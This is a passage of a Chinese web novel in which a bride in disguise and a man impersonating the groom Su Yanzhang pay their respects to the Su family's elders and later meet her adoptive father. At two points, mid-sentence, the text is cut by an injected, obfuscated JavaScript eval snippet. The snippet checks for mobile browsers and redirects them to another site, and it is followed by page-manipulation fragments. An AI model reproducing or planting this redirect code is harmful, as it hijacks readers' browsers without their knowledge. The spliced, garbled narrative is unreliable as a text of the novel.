饭摆在外头暖阁里，这屋内也处处点着红烛，他一行走，一行回头看她，艳艳星辉，在她身旁闪烁。原来她竟有这样一头浓密微卷的蓬发，一双大眼睛左右扇来扇去，像是在琢磨眼下的处境，显得分外灵俏。 他引她坐下，童碧端起碗，方娓娓道来。说话也不耽误吃饭，等前因后果说完，一碗饭也见了底。 他将自己跟前这碗也递去，“这么说，那时你去林隐客栈，也是为了帮易姑娘开脱掉这门亲事？” “是这么打算来着，可那苏宴章瞧不上我，就只能算了。谁知敏知那丫头，竟敢私自逃婚，干爹干娘就只能让我来顶。” 燕恪饧涩着眼打量，“婚姻大事岂是儿戏？你也太仗义了，自己的终身幸福也不顾？” 没承想童碧却毫不遮掩，“我嫁给苏宴章又不亏什么，他的相貌人品，难道还配不上我？只要他肯认我做了他的三奶奶，我巴不得！” 可惜，那苏宴章已长眠坠月崖了。 他暗中笑了一笑。 童碧骤然起疑，“别是你害的他吧！” “我害他？”他陡地提起眉眼，“你以为我为了冒名顶替将他推下悬崖？你把我想得也太不堪了些！” “你以为你是个好人么？你本来就是个阴险狡诈的小人！”童碧搁下碗，提着裙子四处找刀，“贼猪狗！我刀呢，你把我刀藏哪去了？” 燕恪起身，走去榻前，在褥垫底下翻出刀来递去。童碧接了，见他脸上毫无胆怯，反而不知如何。 他握起她的腕子，将刀抬起架来自己脖子上，笑道：“我倒不怕死，只是谋杀亲夫，那是要受凌迟之刑的，你怕不怕？” 说什么笑话，童碧还不至于鲁莽至此，不过却不能轻饶了他。她倏地抬起腿，一脚狠揣在他肚皮上，“不敢杀你，我还不敢打你么！” 那榻上窗户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921293|192263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外，又来人扒着问：“三爷，怎么了？” 燕恪倒在榻上，朝窗户仰着脸，“没事，三奶奶和我闹着玩呢。你们三奶奶，就是玩不够。” 窗外嘻嘻笑了，童碧面皮一热，气得不轻，“你还真是打不怕啊？” 他捂着肚皮起身，笑道：“我怕你就不打我了么？” “照打不误！” “那不就结了，反正横竖是要挨打，我不如嘴巴上讨点便宜。” 童碧只在他眼前狠狠比了个拳头。 可安歇的时候，燕恪又十分自觉地由柜里取出套被褥来，铺在床前，叫童碧在床上睡了，他自在地上躺下。 经过这繁琐惊魂的一日夜，他早累得精疲力竭，心里却比前些日子松快许多。他双手枕在脑后，朝虚空中怔怔望着，不觉微微一笑。 眨眼工夫，竟听见床上打起鼾来，他惊坐而起，将帐子撩开一角，只见童碧睡得个四仰八叉，乞留恶滥。 他太阳穴一跳，禁不住头眼昏花，一头栽回枕上。 红烛飞灺，天渐转明，外头稍有些动静，燕恪便猛然睁开眼。约莫辰时，丫鬟们该来了，他忙起身将被褥都折了收进箱子里，来唤童碧。 童碧迷迷瞪瞪睁开眼，已见微曦，燕恪不知是几时换的寝衣，一身沉沉的黛青色，丝滑油亮的缎面，衬得他面皮反而白了些，令她恍惚，以为是闯进了天宫。 她迷糊一笑，目光滑到他脖子上，忙坐起身，“你脖子上还有血没擦干净！” 燕恪走来镜前，拿帕子蹭蹭，血早凝干了，便又转去倒了点茶水沾湿帕子。等擦干净，却自穿衣镜前回首把床望了须臾。 他走过来，又把帕子上的血蹭在床上铺的一条月魄色棉布上。 童碧昨夜还未留心，这时才看到床上铺着这条布，望着上头粉色的血印子，不禁纳罕，“你这是做什么？” 燕恪没作声，只直起腰打量她。 那眼中蓦地带着点淫气，瞧得童碧汗毛倒竖，这贼猪狗难道起了色心？她两手忙拽紧衣襟，胳膊横挡于胸前，“你看什么？” 一遮掩，燕恪偏故意拿眼扫过她胸前，笑着啧了声，“就别掩着了，没本钱还怕人惦记什么？快找身别的衣裳换了，一会丫头们就来了。” 她扳下脸，跳下床去箱笼里翻衣裳，一箱子都是桃红银红的新衣裳，她穿不惯。 好容易寻出件鸦青的对襟纱衫，铜绿的抹胸，铜绿的裙，搭在肩上，跳回床来，理好帐子，就在床上换了。 果然不一会就有人轻声叫门，燕恪走去开，见春喜梅儿小楼三人端着盥洗东西进来，按部就班服侍二人洗漱。童碧不惯受服侍，凡事自己来，梳头也随便一挽，珠翠一件不簪。 春喜见了，笑着走来她身后，“奶奶这样子可不行，今日要给太太他们请安磕头，得庄重些，还是我来替你梳。” 说话又解了她的头发，一缕一缕慢慢重新挽起来。童碧歪着眼瞅镜中，梅儿小楼正替燕恪套上一件苍色圆领袍。他展着胳膊，一派从容坦然，也重新束了发髻，一时衣冠楚楚，的确是有些道貌岸然的模样了。 只等几个丫头拾掇了东西出去，童碧朝他撇着嘴，“你被人家伺候，倒很得心应手嚜。” 燕恪理着衣袍，洋洋得意，“享福谁不会享？” 没准正是为享这福，苏宴章的小命才不幸折在他手里。 童碧始终对他昨夜那番的说辞半信半疑，倒不是她有多少脑筋，是上够了他的当，再不敢轻信。 不过眼下溜也溜不得，得等着易老爹来商议，只好先跟着他去给苏家长辈行礼请安。 9.009 眼下老太爷病着，听说迁到另一所叫梅兰居的小宅里养病去了，昨日他们成亲，因要受他们的拜，暂且回来了一趟，礼成就又往那梅兰居去了，如今家里只有三房长辈要拜。 童碧不懂大户人家的规矩，燕恪一路上说，她只管左耳进右耳出，听得烦了便摇手，“不说了不说了，你说这么多我也记不住，到跟前见机行事。” “见机行事？”她能有这份智慧？他登时一个头两个大，苦笑摇头，“那你只瞧着我，我做什么你做什么，我说什么你说什么。” 童碧胡乱答应，先来到大太太穆晚云房里，依葫芦画瓢，学他的样子，给穆晚云，宋兰茉各磕一个头。 这大太太穆晚云，端得跟菩萨一般，盘腿坐在榻上，却是尊铜菩萨，皮肤暗得像黄铜，同旁边坐的宋兰茉一比，真是云泥之别。 晚云叫她起身，认真打量了一遍，方点头道：“瞧着倒不是个娇里娇气的姑娘。可识字？” 童碧想着日后多半陌路，索性破罐子破摔，一脸坦荡地摇头，“只识数，别的一个字不认得。” 不曾想晚云却笑了，“我们是生意人家，识数就够了，不认得别的倒不打紧。”说着眼落在燕恪身上，“宴章，你长四.五岁，可不许欺负她。” 乍地听见门外传进一缕笑声，轻声细气，凉丝丝的，“我们这位弟妹，一看就是个厉害人物，谁能欺负了她去？” 童碧燕恪双双回头，只见个年轻女人款款进来，上头穿雪青交襟衫子，下头是丁香色罗裙，臂间挽着藕荷色披帛。脸盘瘦长，身量略高，眉眼间有些像榻上那穆晚云。 这女人转到燕恪面前，细见他鼻梁上有些发青，便轻拧蛾眉，“三弟，你鼻子是在哪里磕的？” “昨夜没留神撞的。”燕恪摸摸鼻梁，含笑向童碧引介，“这是大姐姐苏罗香。” 原来这苏罗香是穆晚云亲生的女儿，苏家独一位小姐。现今二十三岁的年纪，按月份算，还小燕恪三个月岁，却长苏宴章一岁，燕恪不得不尊呼她一声大姐姐。 童碧便随燕恪称呼，“大姐姐好。” 苏罗香微微点头，淡淡笑着打量童碧。童碧只觉她那目光冰化的似的，大热天里也使人发冷。 “看庚帖，你今年十七岁？” 童碧刚欲反驳，猛地想起人家说的是敏知，话到嘴边改笑了，点一点头，“正月初三的生日。” 这罗香别开眼，掉转身，慢条条走去旁边椅上坐了，拿纨扇掩住嘴一笑，像在同晚云兰茉说：“听说现今结亲，庚帖上的年纪也有造假的，不知有没有这回事。” 童碧只听出是疑她的年纪不对，仍笑，“人家都说我少年老成。” 忽然“噗嗤”一声，晚云向旁看一眼，原来是姨娘宋兰茉憋不住笑了。晚云再拿眼慑她她也瞧不见，只得吭地咳一声。 兰茉忙将唇抿住，抬着两眼向旁伸出手，在炕桌上摸来摸去。 童碧因见她半天摸不着茶碗，前去端来递给她，“姨娘，您这眼睛是天生的还是后来才瞎的？” 燕恪险些把眼珠子瞪出来，可恨她在前头看不见，还抬手在兰茉眼前扇了扇，“半点也看不见么？” “一丁点也看不见。”兰茉倒不生气，呷了茶，摸到炕桌搁了，笑道：“也不是天生的，也不是现在才瞎的，年轻时候就瞎了，就是能治，这会也晚了。” 燕恪在林隐客栈曾听真苏宴章说起过，他娘这双眼睛是年轻时候哭瞎的。大约当年被苏家绝情赶出南京城，大老爷当时没拦着，她伤心得紧，日哭夜哭，就把眼睛哭瞎了。 唯恐童碧再口无遮拦，他忙将她拽后一步，笑了笑，“媳妇年少不会说话，两位太太请别见怪。” 兰茉笑着摇头，晚云亦和善一笑，“她年轻，说错句把话有什么打紧？你往后慢慢教她就是了。” 罗香却在左边椅上摇着扇笑了一声，“就怕教不会，我们家的规矩多，弟妹是街面上长大的人，被爹娘娇惯着，肯定最怕规矩。” 饶是童碧再蠢钝，这会也听出些意思来了，这苏罗香不知怎的，打进门起就对她冷嘲热讽，像早就结下仇一般。童碧少不得盯着她瞧了又瞧，的确从前没见过，更别说结仇了。 细看一回，才发现她那张脸长得堪称老实，一个瘦鼻子简直挂不上半点韵致，任凭头上珠患翠绕，也显不出三分贵气，仿佛苦药罐子里泡大的一般，情态中却常带着股莫名的落落难合的骄矜。 再一瞄穆晚云，真不愧是亲母女，一个蜡黄枯悴，一个简朴寡淡，都显得没滋味。 燕恪也听出罗香话里的蹊跷来，忙插话调和，“大姐姐前日的账理顺了？” 罗香正要答话，晚云抢在先说：“自从老爷没了，这一房的担子就压在我和你大姐姐头上，亏得如今你来了，你是进士，脑子好，她那两篇账繁琐得很，你得闲也帮你大姐姐理一理。” 燕恪眼睛里一笑，打拱领命，又转来朝罗香打拱，“只要大姐姐不嫌我愚笨。我没做过生意，不懂生意上的事。” 罗香直望着他，秀靥一笑，“你要是做生意，早就发达了。做生意终究不比你读书，那才是千难万难，连读书你也挣扎出头了，还怕做生意？” 恰逢下人们提饭进来，摆在左边饭厅里，几人一齐坐了。童碧一瞧桌上的肴馔，天上飞的海里游的，一应俱全，勾动得她喉间直咽哈喇子。 只是大家都是松松平平半碗白饭，她直寻思，大户人家的女人都只吃这点？ 喂猫似的，她可顶不住，兀自端起碗，递给那江婆子，“妈妈，烦请再给我盛些饭来，揿一揿，揿得紧实点。” 江婆子怪眼圆睁，不知打哪头惊奇起。咽了口唾沫，翻了眼皮，一扭脖子走到晚云身后去，“我是服侍太太的。” 童碧立起身，“那厨房在哪头，我自去盛。” 那宋兰茉，又憋不住噗嗤笑倒在桌上，不想胳膊一拐，将晚云的饭碗碰跌了。咣当一声惊震，苏家大房里这顿早饭，吃得真叫一个热闹。 只等午饭一散，童碧随燕恪去拜见二房三房，兰茉也自回房去了。江婆子捺不住，怄得跳脚，“这易敏知总不会是饿死鬼超生！” 罗香搀着她母亲晚云，迤行往暖阁内吃茶，笑将江婆子瞅一眼，“江妈妈先前还说，小门小户的姑娘听话好摆布。瞧，那可像是个好摆布的？我看她装痴作傻，实则伶牙俐齿，仗着不懂规矩，一味说话怄人。母亲也真是，怎么不拿出婆婆的款来？好好整治整治她才是。” 晚云落在榻上，轻描淡写道：“她是新媳妇进门，今日头回请安，再有什么不周到的地方，我们也该包涵才是道理。” “您今日包涵了，明日岂不纵得她飞上天？” “你哪来这么大的脾气？”晚云睐她一眼，不欲在此事上费口舌，端起茶抿一口，转而说铺子里的事，“眼瞧要进五月了，我估算这上半年，比往年上半年的净利要少几百两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928124|192263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。你得再仔细看看他们的账，一个月了还瞧不出端倪，真是愈发不长进了。” 说到生意上，罗香只低下脸安静听训，却有些心不在焉，脑中先在那些账本里转一转，管不住地又想到园子里的花鸟虫鱼。 有位闺中密友七月里定在城郊办一个百花宴，帖子早早就送来给她。她早盼着到那落霞山一游，听说那里此时正值夏日绿树阴浓，山花烂漫，许多游人蜂拥赏花，正是热闹。 谁知晚云却冷声道：“你那个什么百花宴就先不要去了，先让宴章帮衬着，把修库房的事料理清楚。老太爷才把这十二间铺子交给咱们三年，却一年不如一年，叫二房三房的人瞧了笑话。” 罗香抬起眼，“可办宴集的卢灵儿七月就嫁去外省了，日后山高水远，再难相见，好不容易——” 话音未断，晚云横她一眼，“不必说了，那些人见不见有什么打紧，嫁到外地，也不会有什么生意上的往来，更没有相交的必要。没得为那些不相干的人，耽误了正经事。” 那江婆子也在旁劝，“姑娘，太太说得对，眼下还是生意要紧，老太爷八月就要汇半年的总账，到时候见这咱们这头不景气，叫二房三房瞧笑话事小，就怕老太爷不让咱们管了。咱们这头本就是寡母孤女的，难得老太爷不计男女，让咱们接管了些生意，做不好，岂不是辜负老太爷？” 罗香咕哝，“眼下三弟不是来了嚜。” “宴三爷是来了，可他做着官，不便出面打理生意上的事。何况宴三爷终究不是咱们太太亲生的。” 晚云接道：“宴章又不是你的亲兄弟，我赚多少，将来都是留给你的，你不多上心，叫谁上心？” 两个人一唱一和，说得罗香没话驳，只得依吩咐回房，又将十几本账拿出来钻研。 钻研来钻研去，心思又跑到别处，想起童碧昨日穿大红礼服的模样，嘴里忍不住磨牙似的嚼她的名字——易敏知。 童碧还不惯人家叫她“敏知”，任燕恪在旁叫了几声她也像没听见，一声不应，只管一个接一个地打饱嗝儿。 这太阳晒得她眯着眼，四下一睃，不知走到何处。但见百花明艳，怪石错落，绿荫匝地，莺飞蝶舞，真是好个园子，只梦里见过。她看得入迷，未留意燕恪在旁冷眼斜着她。 燕恪一时欲哭无泪，全没奈何，心气直往下垂，背脊也弯下来寻思，这大概就是他命里的天煞星。 他轻叹一口气，“你一向都是这样胡吃海塞？” 童碧笑道：“我素日一顿只吃两碗饭，今日那桌子菜实在好，难得吃那些东西，忍不住就多吃了一碗。大老远来一趟，我打算狠吃他几日！” 他眼里的光晃一晃，随即暗沉下去，“就吃几日？” “等易老爹来了，和他商议定，我就仍和他回桐乡去。”她嗤了声，反手往他胸膛拍了拍，“怎么，吃几日你心疼了？你还真当这是你家的啊？” 燕恪眼望前头路径，沉默下去。隔会他才朝她看一眼，嗓音松快，显得随意，“我看你还是不要走，上哪里再找这样的人家做少奶奶享清福去？” “这算什么少奶奶？名不正言不顺的，连你也是个假三爷！” 他随便一笑，余光瞥着她，恰好走到浓阴的残缺里来，一片金澄澄的光笼着她，那眼睑底下投着一扇睫毛的阴影，簌簌的。 他觉得嗓子眼里一阵发痒，低头一瞧，原来是她的绿裙子正有意无意在他小腿上扫荡。 10.010 当下，这对南辕北辙的“新婚夫妇”又转去二房院里，来拜见二老爷二太太。 二老爷苏观身宽体胖，同易老爹倒像是同胞兄弟，相貌也相似。反正胖子都长得差不多，脸上的肉挤得眼缝细，鼻子塌，凶起来一脸横肉，笑起来乐呵呵的似尊弥勒佛。 说不到两句，二老爷就给小厮传话叫出去了，只剩二太太仍在榻上陪着有一搭没一搭地说话。 这二太太也略显发福，脸上常挂着生意人的虚笑，只对燕恪说：“你二哥到染坊去了，有批货赶着染出来，他在那头盯着。小厮才刚来说有些料子的染得不对，这不，你二叔也得赶去。” 路上童碧听丫头说起，这位二太太娘家姓许，她爹先给她起了个“许多财”，嫌俗气，又改成“许多材”，嫌不文雅，后来定为“许多彩”。寓意好彩头，瑞彩祥云。 这许多彩自己也穿得花红柳绿的，童碧趁其走开，悄声问燕恪：“这二太太多大岁数了，穿得跟朵花似的，她自在么？” 燕恪并过头来道：“二太太娘家是在北京开棺材铺的，看黑白二色觉得不吉利。” 童碧抬着脖子环顾，怪道连这屋里挂的帘子都是红艳艳的，还有才刚一进门来，这许多彩就待她有些冷淡，敢情是因为她衣裳的颜色不好，犯了人家的忌讳。 这许多彩自己原和二老爷生了个儿子，是苏家嫡长孙，不过这位大爷十来岁上头便病死了，还有个儿子，是二老爷同小妾生的，那小妾难产死了，孩子被她抱来屋里养大，称晖二爷，苏宴章便被称宴三爷。 这位二哥名叫苏殿晖，长苏宴章一岁，实则与燕恪是同岁。 燕恪到了苏家，年纪上平白矮人一等。他倒没觉得什么，在这些“兄姐”跟前，十分有礼谦逊。 只等许多彩走回来，他笑道：“听老太爷说，晖二哥做事情向来一丝不苟，染的颜色不对，大概是要连夜重染了。” 多彩皱着鼻子嗤一声，“做生意太较真了可不好，平白添本钱，染的颜色不好就是作废，不然怎么处置？” 说着，她幽愤地叹了口气，“这批料子是人家自办了拿来的，染得不对也要退给人家，另赔银子给人，人家再新买了布送来，重染过。” 多彩说得眉上攒愁千万，为要赔的那些银子心疼不已。 童碧听不懂他们这些大生意，她做的是小买卖，一进一出，银货当时便两讫。她怕忘，所以从不许人赊账，抹不开情面赊了，就找个册子把那人找个符号代了画下来。 多彩见她闷着不搭话，便将炕桌上的一碟点心端给她，“新媳妇吃这枣花酥，京城的点心，厨房里有个厨子是京中人氏，做得十分地道。” 多彩由北京嫁到南京来的，所以说话带北调，胃口还是北边胃口。童碧不爱吃甜食，忙摆手说不要。 燕恪见多彩还端着碟子，便接了来，放在童碧背后圆桌上，“这是二婶的心意，你略尝些。” 语调十分温柔，像在安抚因人生地不熟，显得局促拘谨的新媳妇。童碧听得心里哆嗦一下，恨不得登时跳离他八丈远。 她见他使眼色，只得咬了一块，慢慢就茶吃，悄摸把圆凳从他身畔挪开了点。 多彩见她吃了，却不说好，在这里坐半天，也没句巴结话。她心头愈发不高兴，挂到脸上来，“还要到三房那头去吧？我就不耽搁你们了，改日再带新媳妇到这头来坐。” 燕恪随即领着童碧出来，转去三房院中。 这三房院门是道随墙门，门头上刻着块扇形石匾，匾上描着三个字，童碧指着念：“什么米什么——” “金粉斋。”燕恪把她的手拂下来，深深叹了口气，“不会念就不要忙着现眼。” 童碧乜他一眼，“我念我的，问你了么？偏来搭茬，哼，显得就你有学问似的。” “不才，比你略多识得几个字。”燕恪回乜她一眼。 童碧恼怒，拿胳膊肘狠在他肚皮上拐了一下，打得他直弯腰抱肚，她便噘着嘴，吹着哨子，自大摇大摆踅进随墙门。 门内错落栽着几株金晃晃的银杏树，落叶成冢，金粉成阵，怪道叫金粉斋。 院子里一片悄然，风一过，听见簌簌沙沙的叶声，正屋廊庑底下坐着两个年轻丫鬟在针黹，一抬起头来瞧见进来人，忙将绣绷搁住，绕到廊外来迎。 燕恪问这丫鬟：“三叔三婶在不在家？” 这丫鬟一脸愁容，摇了摇头，“三老爷一大早就赶着出远门去了，太太倒是在屋里，只是又犯了心疼病，在床上睡着呢。” “三婶前些时风寒才好，怎么又病了？” “太太本来就体弱，一年到头不知病几回。” 丫鬟又转朝着童碧笑，“这位就是新娶的三奶奶吧？三奶奶，你凤冠上的那颗大南珠，还是我们太太出阁时从家乡廉州府带来的呢。” 昨日婚礼时戴的那凤冠？童碧讪笑，“那颗珠子跟眼球一般大，我还当是假的呢。” 燕恪忙握拳在唇边咳嗽一声，又笑，“既然三婶睡着，我们就不进去扰她了，等她好些了，我们再来请安。” 不想却听见卧房那窗户里有人叫住，“我起来了，快请新媳妇进来吧。” 两个丫鬟便将二人引入房中，请在里间坐了。 隔不多时，那三太太陈茜儿出来了，穿一件家常杏黄衫子，袅袅身子，曼妙身段，羞花闭月的一张鹅蛋脸，年纪不过二十五.六岁。 看得童碧有些发蒙，这位三太太这般年轻，难不成是填房？ 陈茜儿进到这里间，只等他夫妇二人拜了，忙请坐下，“你们三叔有桩急事，大早上就急匆匆走了，不知道多早晚才能回来。他走时就怕赶不回来受你们的拜，叫我把礼物都备好在那里，是他给新娘子的心意。” 说着，命丫鬟取来桌上，五花八门什么都有，要紧是有个红纸封，薄薄的一块，童碧接在手里沉甸甸的，不知是什么。 陈茜儿叫童碧当堂撕开来，原来是一块黄金打的牡丹纹长命锁，锁牌后头还镌刻着易敏知的姓名与生辰八字。 三房长辈拜过来，就这一房大方！童碧虽不重财，可黄澄澄沉甸甸的一枚锁，到底耀眼，她忙乐不可支地揣在怀里，笑得见牙不见眼，“三叔三婶，客气了！” 惹得茜儿掩嘴一笑，她是廉州府大户人家的小姐，没见过童碧这样的，觉得童碧不扭捏，合她的心意，便打发丫鬟将别的东西先送去他们屋里，留下二人吃晚饭。 晚饭一散，这厢出来，童碧只觉笑得脸僵，不过倒不是违心的，她这人，想笑便笑，想怒便怒，不惯装样子。是这陈茜儿太温柔和善了，让人不由自主地就想奉上笑脸呵护她。 燕恪道：“她当然好了，她家是廉州府有名的珠宝商，有的是银子。” 童碧不禁两眼圆睁，手在一只眼睛前头扣成个圈，“怪不得给我那凤冠上嵌了那么大颗珠子！” 燕恪朝天边火似的落日虚起眼，反剪起双手，“听说她陪嫁了一大笔嫁妆过来，花不完的钱。” 童碧嗤笑，“那三老爷可有福气囖。” “三老爷从不使她的钱，三老爷现管着苏家的茶叶生意，杭州三座茶山，南京城十间茶庄，听说去年遇见些难处，三太太欲拿钱给他，他却分文不要，自己想法子，还真叫他给周转过来了。” 童碧瞥着眼审视他，“怎么听你说话的口气，有些发酸？” 燕恪鼻子里轻哼一声，“若交给我做，我也未必不能撑起一行生意。” 走出树荫，夕阳将他的面孔映成金色，显得踔厉风发，眉宇间却又藏着丝壮志难酬的悲哀。 童碧这一日总在侧面瞧他，瞧得眼有些花。他突高的浓眉其实不显书生文弱，褐瞳仁里藏着点冷静的戾气，像关在笼子里的一匹野马。 见她忽然立住不走了，燕恪扭头看她，“你站着做什么？” 她歪着眼，“你甘心留在苏家，是不是想图谋苏家的财产？” 燕恪怔一 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他一声指责没有，只放下脚绕到她前头来，回身倒着走，歪下脸望着她笑，“你放心，我自幼读书，仁义二字我比你懂，岂会见钱眼开，唯利是图？” “你可真是不要脸，太会往自己脸上贴金了。”童碧吭吭冷笑两声，翻着白眼擦身而去。 随他怎么打算，他有一点说得不错，这不与她相干，和苏家这些人不过是浮萍相逢，与苏宴章也不过一面之缘。 夜间想起那苏宴章，童碧觉得惋惜，这么位翩翩公子，说没就没了。 欸，有道是人世无常啊。 “你也有什么苦闷的心事？竟然叹气。”燕恪在床下讥讽。 微月横窗，猊香熏被，他两手枕在后脑底下，昏暝中想象她此刻的表情。 床上还挂着红绡帐，夜里瞧不清，显得浓而黑的四壁，像口棺材。童碧在帐子里头枕住双手，高架起一条腿，思虑道：“我有件事想不明白。” 他以为她是说那三十两银子，心内发烦，“钱我肯定会还你的，你若不放心，就收了床底下这银子。” “我不是说银子，我是说，那宋姨娘是苏宴章的亲生娘，她从嘉善来到南京，怎么没揭穿你？” 燕恪敛紧额心，在枕上缓缓摇头，“我也不知道。她是个瞎子，也许没发现。” “可自己的儿子，听声音还听不出？” “你不觉得我的声音和苏宴章有些相像？” 童碧仔细回想，是有几分。不过自己亲儿子，再像也该能分辨出来才是。 他自己也觉着不对，不过眼下事情太杂，理不出头绪，只得吁了口气安慰自己，“兴许她也有所怀疑，不过她唯一的仰仗是儿子，即便察觉什么不对，也不敢声张。” “有人假冒她儿子，她就不怕她儿子出了什么事？” “谁知道她到底怎么想，也许怕儿子是假的，她拆穿了，会被苏家的丢出去。她从前只是大老爷的外宅，在外漂泊几年，若不是我假借苏宴章之名考取了进士，大概苏家也不会认他们母子。如今她好容易仗着儿子的势进了苏家，过上这荣华富贵的日子，怎舍得再走？” 童碧晃着脚丫子嗤了声，“你以为谁都跟你似的，心里眼里只有钱？” 惹得燕恪恼闷地得坐起身，急头白脸，只好胡乱抓自己的脑袋，“不就是三十两银子么！我都说还你还你、加倍奉还！你怎么老用旧眼光看人？” 童碧一哼，“我这叫吃一堑长一智。” 她翻过身，趴在床上瞪着他，眼睛在半黑暗中显得格外亮。头发坠一片在床边，落在他怀里，像夜里温柔起伏的浪，轻盈的浪声，在这岑寂的夜里，拂在他腿上。 他觉得腹中似乎有点蠢蠢欲动，便转开眼，倒回地上，一只手垫在脑后，“管他什么，且走一步看一步，先睡。” 童碧一点点挪动腰背睡回枕上，凝着帐内渺茫的一缕月光，心道：要走你自己走，我反正要回桐乡。 11.011 这三日间，童碧眼巴巴盼着易老爹登门，这日一大早，听见梅儿来报易老爹来了，喜得她忙跳着打包袱，将两身衣裳，两把斩骨刀在妆台上紧紧裹了，鼻下哼着小调。 易老爹这趟来，原想谒见老太爷，不想老太爷病还未愈，不便见人。三老爷仍在外头办事，也没见着。易老爹只谒见了二老爷二太太，又来见过大太太穆晚云。 晚云略略问些媳妇在家时候的话，便命小丫鬟，“引亲家老爷去黛梦馆，瞧瞧新媳妇住的屋子，也好叫亲家老爷放心。” 易老爹谢辞，随丫头循绿荫小路往后走，行不多时，便见院墙，沿墙走数丈，方见院门。门前有三个石磴，石磴旁一丛细竹，竹下立着块太湖石，绿漆写着“黛梦馆”。 踅入院门，游廊回旋，东西厢各两间房，正面一间大房，一间耳房。童碧与燕恪正由正房迎出来，燕恪理着衣袍，到易老爹跟前郑重唱个喏。 易老爹打量他一番，不似当年见过的样子，那日迎亲就心起疑惑，只是没声张。眼下欲问童碧，话到嘴边却改了口，“敏丫头，领我瞧瞧你们这屋子。” 童碧领他转完，又领入西间小书房。 燕恪晓得她必要同易老爹说他的事，杀人灭口是没可能了，便先驱了丫鬟，免得给人听见。 他父女二人在窗户底下两把梳背椅上，嘀嘀咕咕细说着，中间横着张小几，两个人皆把脑袋凑在几上，像在密谋什么军机大事。 燕恪自在东面暖阁里坐着看书，眼睛不住朝那头瞟。这对父女八成是在议论他，却不知童碧添油加醋了多少他的不是。 “真格是燕家二郎？”易老爹有些信不及。 童碧轻轻捶了两下桌子，“我还能编这话骗您么？他说苏宴章是不小心跌死的，谁知道？又没人看见，还不是由得他说。我看这贼猪狗心术不正，到苏家来，肯定没憋什么好屁。敏知没嫁来也是好事，干爹，咱们还是尽快回桐乡县去。” 可易老爹已收了苏家好些聘礼，且苏家还许诺，日后他们家上好的缎子都能给易家留一些。 这才是难得，苏家织造坊织的料子，除了供织造局，就只供各地大布商。像他们易家这样的小布店，捧着银子也没进货的门路。 他两个指头在桌上反复轻敲，“就怕他向苏家揭发咱们弄虚作假，以婚诈财。” “怕他什么！他还不是个假冒的！再说他犯的事比咱们大，他还冒名替考冒名做官呢，咱们坐监他掉脑袋，量他不敢。” 易老爹仍踟蹰，“就算他不揭发，苏家也要追究，怎么好好的新娘子，说跑就跑了？再则，跑得了和尚跑不了庙，我易家始终在桐乡县做生意——” 正说着，只听一声轻笑，燕恪不知几时歪在碧纱橱门边，横抱胳膊瞅他两个。 背后议论人给人听见，易老爹一时尴尬。 童碧却理直气壮，直起腰来，毫不羞愧，“不错，说的就是你这泼贼！” 燕恪松开胳膊笑道：“闲言碎语耳边过，心中自有明镜台。你说便说，我又不恼。” 童碧冷笑，“那你鬼鬼祟祟走来做什么？” “本不想搅扰你和易老爷说话，只是三房那里有许多好茶，烦你去同三婶讨些来，给易老爷带着路上吃。” “你如何不去？” “你和三婶更说得上话。” 易老爹一看明摆着是要支开她有话同自己说，便也催着童碧去。只等童碧出了门，他笑着朝那椅上摆手，“贤婿有话坐下讲。” 燕恪笑着作个揖，“易老爷真是宽宏大量，明知原委，还肯认我这个女婿？” 易老爹摇撼着手，“嗨，女儿都是假的，女婿是真是假，还有什么要紧？这童丫头就是个莽直脾气，她爹年轻时候不懂事，犯了些，小差错，常年绕着官府走，带着她和她娘这里漂那里荡，根本没法精细养她，她倘有无礼之处，你多担待。” “易老爷哪里话，还要望她多担待我些才是，先前在嘉兴，我和她闹了点误会。其实论起来，也算有缘千里来相会，谁知阴差阳错，我与她又在南京碰上了——” 两个人这般叙了半晌话，始见童碧讨了几包好茶回来。她将茶搁在桌上，两边一睃，只见这二人脸上都有些相谈甚欢的神色。 当下心里警觉，这两个人怎的一会工夫，就说说笑笑，好似相识多年的旧友了？ 这燕恪花花肠子多，不知用什么花言巧语哄着易老爹，再坐下去，只怕易老爹真认他做个“干女婿”，这还了得！ 为免夜长梦多，她直催着易老爹动身。 易老爹笑道：“慢来慢来，我走是名正言顺，你要跟着走，总得有个名目吧？” 童碧还真没打算过，想了片刻也想不出什么高招来，便一抬下巴，“就说我回门省亲。” 易老爹摊在椅上点头，“好主意，就算你回门，苏家总要派下人跟着，那么好了，也不必费事了，直接在桐乡县衙告咱们诈婚，县衙径往家里拿人，跑都没工夫跑！你，我，你干娘，还有赵妈妈，刚刚好一网打尽！赵妈妈，多大年纪的老太太了，虽在我家伺候，这几年也没少疼你，你也忍心？” 几句话说得童碧迟疑起来，“那您老有什么好法子？”说着，冷横一眼燕恪，“总不能叫我真给他扮奶奶，和他在这里做对假夫妻！我又不图苏家的荣华富贵，我当初答应嫁来，一是为敏知，二是为苏宴章这个人本来不错，没承想竟碰见这泼奸货！” 易老爹端正了腰，连连点头，“你爹常说江湖儿女，天为盖地为庐，你和你爹一样，是个豪情万丈的姑娘，自幼跟随你爹山里睡得，水里游得，怎么这安乐富贵窝，偏就住不得？” 说着拔座起来，转到燕恪身旁指着他道：“二郎虽不是苏宴章，可二郎的才学样貌，依我看，倒比苏宴章强些。最要紧的，你们都是同乡，在这苏家大院里混起来，也有个照应。二郎方才和我说，等他想出个稳妥法子来，一定周全你脱身，到 